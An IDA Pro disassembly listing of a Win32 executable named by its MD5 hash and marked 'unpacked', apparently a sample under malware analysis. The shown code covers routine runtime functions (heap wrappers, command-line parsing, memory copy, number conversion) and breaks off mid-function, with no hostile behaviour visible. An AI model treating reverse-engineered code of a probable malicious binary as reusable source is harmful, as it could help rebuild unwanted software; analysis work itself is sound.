;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	98EAEB8598B2F63016F084984F08D9F0

; File Name   :	u:\work\98eaeb8598b2f63016f084984f08d9f0_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00008000 (  32768.)
; Section size in file		: 00008000 (  32768.)
; Offset to raw	data for section: 00001000
; Flags	60000020: Text Executable Readable
; Alignment	: default

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Execute
CODE		segment	para public 'CODE' use32
		assume cs:CODE
		;org 401000h
		assume es:nothing, ss:nothing, ds:CODE,	fs:nothing, gs:nothing
off_401000	dd offset dword_401004	; DATA XREF: CODE:004066C1r
					; CODE:00406700r ...
dword_401004	dd 7453060Ah, 676E6972h, 401058h, 7 dup(0) ; DATA XREF:	CODE:off_401000o
		dd offset dword_401058
		dd 4, 0
		dd offset loc_401B70
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_401B84
		dd offset nullsub_4
		dd offset sub_401A3C
		dd offset sub_401A58
		dd offset sub_401A74
dword_401058	dd 624F5407h, 7463656Ah, 0B10025FFh, 0C08B0040h	; DATA XREF: CODE:0040102Co

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401068	proc near		; CODE XREF: sub_401158+Dp
		jmp	ds:dword_40B0FC
sub_401068	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401070	proc near		; CODE XREF: sub_401190+11p
		jmp	ds:dword_40B0F8
sub_401070	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401078	proc near		; CODE XREF: sub_40116C+13p
		jmp	ds:dword_40B0F4
sub_401078	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401080	proc near		; CODE XREF: sub_4021FC+7Cp
		jmp	ds:dword_40B0F0
sub_401080	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401088	proc near		; CODE XREF: sub_401488+24p
					; sub_402A70+1Ep ...
		jmp	ds:dword_40B0EC
sub_401088	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401090	proc near		; CODE XREF: sub_402AF4+1Dp
					; sub_4030D8+Cp
		jmp	ds:dword_40B0E8
sub_401090	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401098	proc near		; CODE XREF: sub_403034+3p
		jmp	ds:dword_40B0E4
sub_401098	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010A0	proc near		; CODE XREF: sub_40308C+25p
					; sub_40308C+36p
		jmp	ds:dword_40B0E0
sub_4010A0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010A8	proc near		; CODE XREF: sub_403048+3Dp
		jmp	ds:dword_40B0DC
sub_4010A8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010B0	proc near		; CODE XREF: sub_401428+17p
					; sub_401488:loc_4014BEp
		jmp	ds:dword_40B0D8
sub_4010B0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010B8	proc near		; CODE XREF: sub_401C24+14p
					; sub_401C40+16p ...
		jmp	ds:dword_40B0D4
sub_4010B8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010C0	proc near		; CODE XREF: sub_401D08+D2p
					; sub_407AFC-5B9Ap
					; DATA XREF: ...
		jmp	ds:dword_40B0D0
sub_4010C0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010C8	proc near		; CODE XREF: sub_401D08+6Ap
					; sub_401D08+A7p ...
		jmp	ds:dword_40B0CC
sub_4010C8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010D0	proc near		; CODE XREF: sub_40133C+Bp
					; sub_40133C+37p ...
		jmp	ds:dword_40B10C
sub_4010D0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010D8	proc near		; CODE XREF: sub_4021FC+B2p
		jmp	ds:dword_40B0C8
sub_4010D8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010E0	proc near		; CODE XREF: sub_402AF4+117p
		jmp	ds:dword_40B0C4
sub_4010E0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010E8	proc near		; CODE XREF: sub_402AF4+10Ap
		jmp	ds:dword_40B0C0
sub_4010E8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010F0	proc near		; CODE XREF: sub_402CAC+12Fp
		jmp	ds:dword_40B0BC
sub_4010F0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010F8	proc near		; CODE XREF: sub_402AF4+2Ep
		jmp	ds:dword_40B0B8
sub_4010F8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401100	proc near		; CODE XREF: sub_402CAC+129p
		jmp	ds:dword_40B0B4
sub_401100	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401108	proc near		; CODE XREF: sub_402CAC+1B1p
					; sub_402CAC+1E9p ...
		jmp	ds:dword_40B0B0
sub_401108	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401110	proc near		; CODE XREF: sub_402F64+31p
		jmp	ds:dword_40B108
sub_401110	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401118	proc near		; CODE XREF: sub_402AF4+5Ep
					; sub_402AF4+C2p ...
		jmp	ds:dword_40B0AC
sub_401118	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401120	proc near		; CODE XREF: sub_402AF4+123p
					; sub_402AF4+163p ...
		jmp	ds:dword_40B0A8
sub_401120	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401128	proc near		; CODE XREF: sub_402CAC+FFp
		jmp	ds:dword_40B11C
sub_401128	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401130	proc near		; CODE XREF: sub_402CAC+3Ap
					; sub_402CAC+58p ...
		jmp	ds:dword_40B118
sub_401130	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401138	proc near		; CODE XREF: sub_402CAC+BFp
					; sub_402CAC+DDp
		jmp	ds:dword_40B114
sub_401138	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401140	proc near		; CODE XREF: sub_402400+12p
		jmp	ds:dword_40B0A4
sub_401140	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401148	proc near		; CODE XREF: sub_4027D8+Ep
		jmp	ds:dword_40B124
sub_401148	endp

; ---------------------------------------------------------------------------
		align 10h
		jmp	ds:dword_40B0A0
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401158	proc near		; CODE XREF: sub_4011A8+4p
					; sub_4011D8+3Fp
					; DATA XREF: ...
		push	eax
		mov	eax, ds:dword_409038
		push	eax
		mov	eax, ds:dword_40A3DC
		push	eax
		call	sub_401068	; RtlAllocateHeap
		retn
sub_401158	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40116C	proc near		; CODE XREF: sub_4011C0+4p
					; sub_4011D8+26p
					; DATA XREF: ...
		push	ebx
		mov	ebx, eax
		push	ebx
		mov	eax, ds:dword_409038
		and	eax, 1
		push	eax
		mov	eax, ds:dword_40A3DC
		push	eax
		call	sub_401078	; RtlFreeHeap
		cmp	eax, 1
		sbb	eax, eax
		neg	eax
		and	eax, 7Fh
		pop	ebx
		retn
sub_40116C	endp


; =============== S U B	R O U T	I N E =======================================



sub_401190	proc near		; CODE XREF: sub_4011D8+Dp
					; DATA XREF: DATA:off_409044o
		push	edx
		push	eax
		mov	eax, ds:dword_409038
		and	eax, 0
		push	eax
		mov	eax, ds:dword_40A3DC
		push	eax
		call	sub_401070	; RtlReAllocateHeap
		retn
sub_401190	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4011A8	proc near		; CODE XREF: sub_401A3C+Ap
					; sub_4023A4+Cp
		test	eax, eax
		jz	short locret_4011B6
		call	ds:off_40903C
		or	eax, eax
		jz	short loc_4011B7

locret_4011B6:				; CODE XREF: sub_4011A8+2j
		retn
; ---------------------------------------------------------------------------


loc_4011B7:				; CODE XREF: sub_4011A8+Cj
		mov	al, 1
		jmp	loc_401280
sub_4011A8	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4011C0	proc near		; CODE XREF: sub_401A58+Cp
					; sub_4022E4+1Bp ...
		test	eax, eax
		jz	short locret_4011CE
		call	ds:off_409040
		or	eax, eax
		jnz	short loc_4011CF

locret_4011CE:				; CODE XREF: sub_4011C0+2j
		retn
; ---------------------------------------------------------------------------


loc_4011CF:				; CODE XREF: sub_4011C0+Cj
		mov	al, 2
		jmp	loc_401280
sub_4011C0	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4011D8	proc near		; CODE XREF: sub_402774+22p

; FUNCTION CHUNK AT 00401280 SIZE 0000000B BYTES

		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_401210
		test	edx, edx
		jz	short loc_4011FA
		push	eax
		mov	eax, ecx
		call	ds:off_409044
		pop	ecx
		or	eax, eax
		jz	short loc_401209
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_4011F3:				; CODE XREF: sub_4011D8+2Ej
		mov	al, 2
		jmp	loc_401280
; ---------------------------------------------------------------------------


loc_4011FA:				; CODE XREF: sub_4011D8+8j
		mov	[eax], edx
		mov	eax, ecx
		call	ds:off_409040
		or	eax, eax
		jnz	short loc_4011F3
		retn
; ---------------------------------------------------------------------------


loc_401209:				; CODE XREF: sub_4011D8+16j
					; sub_4011D8+48j
		mov	al, 1
		jmp	loc_401280
; ---------------------------------------------------------------------------


loc_401210:				; CODE XREF: sub_4011D8+4j
		test	edx, edx
		jz	short locret_401224
		push	eax
		mov	eax, edx
		call	ds:off_40903C
		pop	ecx
		or	eax, eax
		jz	short loc_401209
		mov	[ecx], eax

locret_401224:				; CODE XREF: sub_4011D8+3Aj
		retn
sub_4011D8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_401228	proc near		; CODE XREF: sub_401234+42p
		mov	ds:dword_409004, edx
		call	sub_4022CC
sub_401228	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_401234	proc near		; CODE XREF: sub_4011D8+AEj
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		and	bl, 7Fh
		cmp	ds:dword_40A008, 0
		jz	short loc_401250
		mov	edx, esi
		mov	eax, ebx
		call	ds:dword_40A008


loc_401250:				; CODE XREF: sub_401234+10j
		test	bl, bl
		jnz	short loc_401261
		call	sub_40308C
		mov	ebx, [eax+4]
		jmp	short loc_401270
; ---------------------------------------------------------------------------


loc_401261:				; CODE XREF: sub_401234+1Ej
		cmp	bl, 18h
		ja	short loc_401270
		xor	eax, eax
		mov	al, bl
		mov	bl, ds:byte_409048[eax]


loc_401270:				; CODE XREF: sub_401234+2Bj
					; sub_401234+30j
		xor	eax, eax
		mov	al, bl
		mov	edx, esi
		call	sub_401228
sub_401234	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_4011D8


loc_401280:				; CODE XREF: sub_4011A8+11j
					; sub_4011C0+11j ...
		and	eax, 7Fh
		mov	edx, [esp+0]
		jmp	sub_401234
; END OF FUNCTION CHUNK	FOR sub_4011D8
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		push	eax
		push	edx
		push	ecx
		call	sub_40308C
		cmp	dword ptr [eax+4], 0
		pop	ecx
		pop	edx
		pop	eax
		jnz	short loc_4012A1
		retn
; ---------------------------------------------------------------------------


loc_4012A1:				; CODE XREF: CODE:0040129Ej
		xor	eax, eax
		jmp	loc_401280
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4012AC	proc near		; CODE XREF: sub_4014E8+3Cp
		push	ebx
		mov	ebx, eax
		call	sub_40308C
		mov	[eax+4], ebx
		pop	ebx
		retn
sub_4012AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4012BC	proc near		; CODE XREF: sub_405564+7p
		push	ebx
		call	sub_40308C
		mov	ebx, [eax+4]
		call	sub_40308C
		xor	edx, edx
		mov	[eax+4], edx
		mov	eax, ebx
		pop	ebx
		retn
sub_4012BC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4012DC	proc near		; CODE XREF: sub_40153C+14p
					; sub_402338+1Bp ...
		cmp	ecx, 4
		jge	short loc_4012FD
		jcxz	locret_40133B
		cmp	eax, edx
		jz	short locret_40133B
		push	esi
		push	edi
		mov	esi, eax
		mov	edi, edx
		ja	short loc_4012F9
		lea	esi, [ecx+esi-1]
		lea	edi, [ecx+edi-1]
		std


loc_4012F9:				; CODE XREF: sub_4012DC+12j
		rep movsb
		jmp	short loc_401329
; ---------------------------------------------------------------------------


loc_4012FD:				; CODE XREF: sub_4012DC+3j
		cmp	eax, edx
		jz	short locret_40133B
		push	esi
		push	edi
		mov	esi, eax
		mov	edi, edx
		mov	eax, ecx
		ja	short loc_40132B
		and	ecx, 3
		lea	esi, [eax+esi-1]
		lea	edi, [eax+edi-1]
		std
		rep movsb
		sar	eax, 2
		mov	ecx, eax
		mov	eax, 3
		sub	esi, eax
		sub	edi, eax
		rep movsd


loc_401329:				; CODE XREF: sub_4012DC+1Fj
		cld
		dec	ecx


loc_40132B:				; CODE XREF: sub_4012DC+2Dj
		sar	ecx, 2
		js	short loc_401339
		rep movsd
		and	eax, 3
		mov	ecx, eax
		rep movsb


loc_401339:				; CODE XREF: sub_4012DC+52j
		pop	edi
		pop	esi

locret_40133B:				; CODE XREF: sub_4012DC+5j
					; sub_4012DC+Aj ...
		retn
sub_4012DC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40133C	proc near		; CODE XREF: sub_401428+1Fp
					; sub_401428+2Bp ...
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	esi, edx
		mov	ebx, eax
		jmp	short loc_40134E
; ---------------------------------------------------------------------------


loc_401346:				; CODE XREF: sub_40133C+1Aj
		push	ebx
		call	sub_4010D0	; CharNextA
		mov	ebx, eax


loc_40134E:				; CODE XREF: sub_40133C+8j
					; sub_40133C+2Aj
		mov	al, [ebx]
		test	al, al
		jz	short loc_401358
		cmp	al, 20h
		jbe	short loc_401346


loc_401358:				; CODE XREF: sub_40133C+16j
		cmp	byte ptr [ebx],	22h
		jnz	short loc_401368
		cmp	byte ptr [ebx+1], 22h
		jnz	short loc_401368
		add	ebx, 2
		jmp	short loc_40134E
; ---------------------------------------------------------------------------


loc_401368:				; CODE XREF: sub_40133C+1Fj
					; sub_40133C+25j
		xor	ebp, ebp
		mov	edi, ebx
		jmp	short loc_4013B1
; ---------------------------------------------------------------------------


loc_40136E:				; CODE XREF: sub_40133C+79j
		cmp	al, 22h
		jnz	short loc_4013A3
		push	ebx
		call	sub_4010D0	; CharNextA
		mov	ebx, eax
		jmp	short loc_40138A
; ---------------------------------------------------------------------------


loc_40137C:				; CODE XREF: sub_40133C+56j
		push	ebx
		call	sub_4010D0	; CharNextA
		mov	edx, eax
		sub	edx, ebx
		add	ebp, edx
		mov	ebx, eax


loc_40138A:				; CODE XREF: sub_40133C+3Ej
		mov	al, [ebx]
		test	al, al
		jz	short loc_401394
		cmp	al, 22h
		jnz	short loc_40137C


loc_401394:				; CODE XREF: sub_40133C+52j
		cmp	byte ptr [ebx],	0
		jz	short loc_4013B1
		push	ebx
		call	sub_4010D0	; CharNextA
		mov	ebx, eax
		jmp	short loc_4013B1
; ---------------------------------------------------------------------------


loc_4013A3:				; CODE XREF: sub_40133C+34j
		push	ebx
		call	sub_4010D0	; CharNextA
		mov	edx, eax
		sub	edx, ebx
		add	ebp, edx
		mov	ebx, eax


loc_4013B1:				; CODE XREF: sub_40133C+30j
					; sub_40133C+5Bj ...
		mov	al, [ebx]
		cmp	al, 20h
		ja	short loc_40136E
		mov	eax, esi
		mov	edx, ebp
		call	sub_402774
		mov	ebx, edi
		mov	edi, [esi]
		xor	esi, esi
		jmp	short loc_401419
; ---------------------------------------------------------------------------


loc_4013C8:				; CODE XREF: sub_40133C+E1j
		cmp	al, 22h
		jnz	short loc_401404
		push	ebx
		call	sub_4010D0	; CharNextA
		mov	ebx, eax
		jmp	short loc_4013EB
; ---------------------------------------------------------------------------


loc_4013D6:				; CODE XREF: sub_40133C+B7j
		push	ebx
		call	sub_4010D0	; CharNextA
		cmp	eax, ebx
		jbe	short loc_4013EB


loc_4013E0:				; CODE XREF: sub_40133C+ADj
		mov	dl, [ebx]
		mov	[edi+esi], dl
		inc	ebx
		inc	esi
		cmp	eax, ebx
		ja	short loc_4013E0


loc_4013EB:				; CODE XREF: sub_40133C+98j
					; sub_40133C+A2j
		mov	al, [ebx]
		test	al, al
		jz	short loc_4013F5
		cmp	al, 22h
		jnz	short loc_4013D6


loc_4013F5:				; CODE XREF: sub_40133C+B3j
		cmp	byte ptr [ebx],	0
		jz	short loc_401419
		push	ebx
		call	sub_4010D0	; CharNextA
		mov	ebx, eax
		jmp	short loc_401419
; ---------------------------------------------------------------------------


loc_401404:				; CODE XREF: sub_40133C+8Ej
		push	ebx
		call	sub_4010D0	; CharNextA
		cmp	eax, ebx
		jbe	short loc_401419


loc_40140E:				; CODE XREF: sub_40133C+DBj
		mov	dl, [ebx]
		mov	[edi+esi], dl
		inc	ebx
		inc	esi
		cmp	eax, ebx
		ja	short loc_40140E


loc_401419:				; CODE XREF: sub_40133C+8Aj
					; sub_40133C+BCj ...
		mov	al, [ebx]
		cmp	al, 20h
		ja	short loc_4013C8
		mov	eax, ebx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40133C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401428	proc near		; CODE XREF: CODE:00408262p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00401FBC SIZE 00000036 BYTES

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		push	esi
		xor	eax, eax
		push	ebp
		push	offset loc_401479
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	esi, esi
		call	sub_4010B0	; GetCommandLineA
		lea	edx, [ebp+var_4]
		call	sub_40133C
		mov	ebx, eax


loc_40144E:				; CODE XREF: sub_401428+39j
		lea	edx, [ebp+var_4]
		mov	eax, ebx
		call	sub_40133C
		mov	ebx, eax
		cmp	[ebp+var_4], 0
		jz	short loc_401463
		inc	esi
		jmp	short loc_40144E
; ---------------------------------------------------------------------------


loc_401463:				; CODE XREF: sub_401428+36j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_401480


loc_401470:				; CODE XREF: sub_401428+56j
		lea	eax, [ebp+var_4]
		call	sub_4022E4
		retn
; ---------------------------------------------------------------------------


loc_401479:				; DATA XREF: sub_401428+Ao
		jmp	loc_401FBC
; ---------------------------------------------------------------------------
		jmp	short loc_401470
; ---------------------------------------------------------------------------


loc_401480:				; CODE XREF: sub_401428+50j
					; DATA XREF: sub_401428+43o
		mov	eax, esi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_401428	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401488	proc near		; CODE XREF: sub_407CDC+A5p
					; CODE:0040828Bp ...

var_114		= byte ptr -114h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFEF8h
		mov	ebx, edx
		mov	esi, eax
		mov	eax, ebx
		call	sub_4022E4
		test	esi, esi
		jnz	short loc_4014BE
		push	105h
		lea	eax, [esp+118h+var_114]
		push	eax
		push	0
		call	sub_401088	; GetModuleFileNameA
		mov	ecx, eax
		mov	edx, esp
		mov	eax, ebx
		call	sub_4023D0
		jmp	short loc_4014DC
; ---------------------------------------------------------------------------


loc_4014BE:				; CODE XREF: sub_401488+16j
		call	sub_4010B0	; GetCommandLineA
		mov	edi, eax


loc_4014C5:				; CODE XREF: sub_401488+52j
		mov	edx, ebx
		mov	eax, edi
		call	sub_40133C
		mov	edi, eax
		test	esi, esi
		jz	short loc_4014DC
		cmp	dword ptr [ebx], 0
		jz	short loc_4014DC
		dec	esi
		jmp	short loc_4014C5
; ---------------------------------------------------------------------------


loc_4014DC:				; CODE XREF: sub_401488+34j
					; sub_401488+4Aj ...
		add	esp, 108h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401488	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4014E8	proc near		; CODE XREF: CODE:00401533p
		push	ebx
		mov	cx, [eax+4]
		sub	cx, 0D7B1h
		jz	short loc_401503
		dec	ecx
		sub	cx, 2
		jnb	short loc_401507
		mov	ebx, edx
		call	ebx
		mov	ebx, eax
		jmp	short loc_40151E
; ---------------------------------------------------------------------------


loc_401503:				; CODE XREF: sub_4014E8+Aj
		xor	ebx, ebx
		jmp	short loc_40151E
; ---------------------------------------------------------------------------


loc_401507:				; CODE XREF: sub_4014E8+11j
		cmp	eax, offset dword_40A040
		jz	short loc_401515
		cmp	eax, offset dword_40A20C
		jnz	short loc_401519


loc_401515:				; CODE XREF: sub_4014E8+24j
		xor	ebx, ebx
		jmp	short loc_40151E
; ---------------------------------------------------------------------------


loc_401519:				; CODE XREF: sub_4014E8+2Bj
		mov	ebx, 67h


loc_40151E:				; CODE XREF: sub_4014E8+19j
					; sub_4014E8+1Dj ...
		test	ebx, ebx
		jz	short loc_401529
		mov	eax, ebx
		call	sub_4012AC


loc_401529:				; CODE XREF: sub_4014E8+38j
		mov	eax, ebx
		pop	ebx
		retn
sub_4014E8	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	edx, [eax+1Ch]
		call	sub_4014E8
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40153C	proc near		; CODE XREF: sub_4078FC+28p
		push	ebx
		mov	bl, [edx]
		cmp	cl, bl
		jbe	short loc_401545
		mov	ecx, ebx


loc_401545:				; CODE XREF: sub_40153C+5j
		mov	[eax], cl
		inc	edx
		inc	eax
		and	ecx, 0FFh
		xchg	eax, edx
		call	sub_4012DC
		pop	ebx
		retn
sub_40153C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401558	proc near		; CODE XREF: sub_407AFC-5C4Ep
		push	ebx
		push	esi
		push	ecx
		mov	esi, ecx
		shr	esi, 2
		jz	short loc_401588


loc_401562:				; CODE XREF: sub_401558+26j
		mov	ecx, [eax]
		mov	ebx, [edx]
		cmp	ecx, ebx
		jnz	short loc_4015AF
		dec	esi
		jz	short loc_401582
		mov	ecx, [eax+4]
		mov	ebx, [edx+4]
		cmp	ecx, ebx
		jnz	short loc_4015AF
		add	eax, 8
		add	edx, 8
		dec	esi
		jnz	short loc_401562
		jmp	short loc_401588
; ---------------------------------------------------------------------------


loc_401582:				; CODE XREF: sub_401558+13j
		add	eax, 4
		add	edx, 4


loc_401588:				; CODE XREF: sub_401558+8j
					; sub_401558+28j
		pop	esi
		and	esi, 3
		jz	short loc_4015C4
		mov	cl, [eax]
		cmp	cl, [edx]
		jnz	short loc_4015C4
		dec	esi
		jz	short loc_4015AA
		mov	cl, [eax+1]
		cmp	cl, [edx+1]
		jnz	short loc_4015C4
		dec	esi
		jz	short loc_4015AA
		mov	cl, [eax+2]
		cmp	cl, [edx+2]
		jnz	short loc_4015C4


loc_4015AA:				; CODE XREF: sub_401558+3Dj
					; sub_401558+48j
		xor	eax, eax
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4015AF:				; CODE XREF: sub_401558+10j
					; sub_401558+1Dj
		pop	esi
		cmp	cl, bl
		jnz	short loc_4015C4
		cmp	ch, bh
		jnz	short loc_4015C4
		shr	ecx, 10h
		shr	ebx, 10h
		cmp	cl, bl
		jnz	short loc_4015C4
		cmp	ch, bh


loc_4015C4:				; CODE XREF: sub_401558+34j
					; sub_401558+3Aj ...
		pop	esi
		pop	ebx
		retn
sub_401558	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4015C8	proc near		; CODE XREF: sub_406930+7Ep
					; sub_406B18+235p ...
		push	edi
		mov	edi, eax
		mov	ch, cl
		mov	eax, ecx
		shl	eax, 10h
		mov	ax, cx
		mov	ecx, edx
		sar	ecx, 2
		js	short loc_4015E5
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_4015E5:				; CODE XREF: sub_4015C8+12j
		pop	edi
		retn
sub_4015C8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4015E8	proc near		; CODE XREF: sub_401648+4p

var_26		= byte ptr -26h
var_24		= byte ptr -24h
var_10		= dword	ptr -10h

		push	ebx
		push	esi
		push	edi
		push	edx
		sub	esp, 14h
		mov	edi, ecx
		mov	esi, eax
		cdq
		xor	eax, edx
		sub	eax, edx
		mov	ecx, 0Ah
		xor	ebx, ebx


loc_4015FF:				; CODE XREF: sub_4015E8+24j
		xor	edx, edx
		div	ecx
		add	edx, 30h
		mov	[esp+ebx+24h+var_24], dl
		inc	ebx
		test	eax, eax
		jnz	short loc_4015FF
		test	esi, esi
		jge	short loc_401617
		mov	[esp+ebx+24h+var_24], 2Dh
		inc	ebx


loc_401617:				; CODE XREF: sub_4015E8+28j
		mov	[edi], bl
		inc	edi
		mov	ecx, [esp+24h+var_10]
		cmp	ecx, 0FFh
		jle	short loc_40162B
		mov	ecx, 0FFh


loc_40162B:				; CODE XREF: sub_4015E8+3Cj
		sub	ecx, ebx
		jle	short loc_401636
		add	[edi-1], cl
		mov	al, 20h
		rep stosb


loc_401636:				; CODE XREF: sub_4015E8+45j
					; sub_4015E8+56j
		mov	al, [esp+ebx-1]
		mov	[edi], al
		inc	edi
		dec	ebx
		jnz	short loc_401636
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4015E8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401648	proc near		; CODE XREF: sub_4078FC+18p
		mov	ecx, edx
		xor	edx, edx
		call	sub_4015E8
		retn
sub_401648	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401654	proc near		; CODE XREF: sub_403F2C+6p
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		push	eax
		test	eax, eax
		jz	short loc_4016CA
		xor	eax, eax
		xor	ebx, ebx
		mov	edi, 0CCCCCCCh


loc_401667:				; CODE XREF: sub_401654+19j
		mov	bl, [esi]
		inc	esi
		cmp	bl, 20h
		jz	short loc_401667
		mov	ch, 0
		cmp	bl, 2Dh
		jz	short loc_4016D8
		cmp	bl, 2Bh
		jz	short loc_4016DA
		cmp	bl, 24h
		jz	short loc_4016DF
		cmp	bl, 78h
		jz	short loc_4016DF
		cmp	bl, 58h
		jz	short loc_4016DF
		cmp	bl, 30h
		jnz	short loc_4016A2
		mov	bl, [esi]
		inc	esi
		cmp	bl, 78h
		jz	short loc_4016DF
		cmp	bl, 58h
		jz	short loc_4016DF
		test	bl, bl
		jz	short loc_4016C0
		jmp	short loc_4016A6
; ---------------------------------------------------------------------------


loc_4016A2:				; CODE XREF: sub_401654+39j
					; sub_401654+89j
